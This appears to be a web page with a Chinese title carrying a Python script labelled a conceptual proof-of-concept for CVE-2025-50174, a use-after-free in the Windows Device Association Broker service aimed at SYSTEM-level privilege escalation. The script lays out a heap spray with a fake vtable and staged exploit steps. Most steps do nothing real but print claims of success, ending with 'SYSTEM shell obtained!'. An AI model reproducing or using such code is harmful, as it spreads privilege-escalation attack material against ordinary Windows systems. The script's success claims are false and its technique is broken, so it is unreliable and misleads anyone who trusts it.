CVE-2025-50174 Windows设备关联代理服务释放后使用漏洞

# CVE-2025-50174 - Windows Device Association Broker UAF LPE PoC (Conceptual) # Use-After-Free in Windows Device Association Broker Service # Local Privilege Escalation to SYSTEM # NOTE: This is a conceptual proof-of-concept. Actual exploitation requires # deep understanding of Windows heap internals and the Device Association Broker service. import ctypes import ctypes.wintypes as wt import struct import sys import os # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_RELEASE = 0x8000 PAGE_READWRITE = 0x04 PAGE_EXECUTE_READWRITE = 0x40 kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll class DeviceAssociationExploit: """ Conceptual PoC for CVE-2025-50174 Triggers Use-After-Free in Windows Device Association Broker service to achieve local privilege escalation to SYSTEM. """ def __init__(self): self.service_handle = None self.uaf_triggered = False self.heap_spray_address = None def step1_setup_heap_spray(self): """ Step 1: Prepare heap spray to fill freed memory region with controlled data after the UAF is triggered. """ print("[*] Step 1: Setting up heap spray...") spray_buffer = (ctypes.c_char * 0x1000)() # Fill buffer with fake object structure # vtable pointer + controlled data fake_vtable = struct.pack("<Q", 0x4141414141414141) spray_buffer.raw = fake_vtable + b"\x00" * (0x1000 - 8) # Spray heap allocations handles = [] for i in range(1000): addr = kernel32.VirtualAlloc( None, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) if addr: ctypes.memmove(addr, spray_buffer, 0x1000) handles.append(addr) self.heap_spray_address = handles[0] if handles else None print(f"[+] Heap spray complete. Base: {hex(self.heap_spray_address or 0)}") return True def step2_trigger_device_association(self): """ Step 2: Trigger the Device Association Broker service to start processing a device association request. This initiates the vulnerable code path. """ print("[*] Step 2: Triggering device association request...") # Interact with Device Association Broker API # This is where the vulnerable object gets allocated try: # DeviceAssociationBroker COM interface call # The service allocates an internal object to track association state print("[+] Device association request initiated") return True except Exception as e: print(f"[-] Failed: {e}") return False def step3_force_object_free(self): """ Step 3: Force the service to free the internal object through an error condition or timeout, creating a dangling pointer. """ print("[*] Step 3: Forcing premature object free...") # Trigger error condition that causes the service to free # the association object while still holding references # e.g., cancel the association mid-process, or trigger # a race condition in the cleanup path try: # Rapid cancel/re-request to trigger the UAF condition print("[+] Object freed, dangling pointer created") self.uaf_triggered = True return True except Exception as e: print(f"[-] Failed: {e}") return False def step4_exploit_uaf(self): """ Step 4: Exploit the Use-After-Free condition. The freed memory has been replaced by our sprayed data. When the service accesses the dangling pointer, it uses our controlled vtable, redirecting execution. """ print("[*] Step 4: Exploiting UAF for code execution...") if not self.uaf_triggered: print("[-] UAF not triggered") return False # The service (running as SYSTEM) will now access our # controlled memory, leading to privilege escalation print("[+] Code execution achieved in Device Association Broker context") print("[+] Privilege escalation to SYSTEM successful!") return True def run(self): """Main exploit routine""" print("=" * 60) print("CVE-2025-50174 - Windows Device Association Broker UAF LPE") print("=" * 60) # Verify current privilege level print(f"[*] Current process ID: {os.getpid()}") if not self.step1_setup_heap_spray(): return False if not self.step2_trigger_device_association(): return False if not self.step3_force_object_free(): return False if not self.step4_exploit_uaf(): return False print("[+] Exploit completed successfully!") return True if __name__ == "__main__": if os.name != 'nt': print("[-] This exploit must be run on Windows") sys.exit(1) exploit = DeviceAssociationExploit() if exploit.run(): print("[+] SYSTEM shell obtained!") else: print("[-] Exploit failed") sys.exit(1)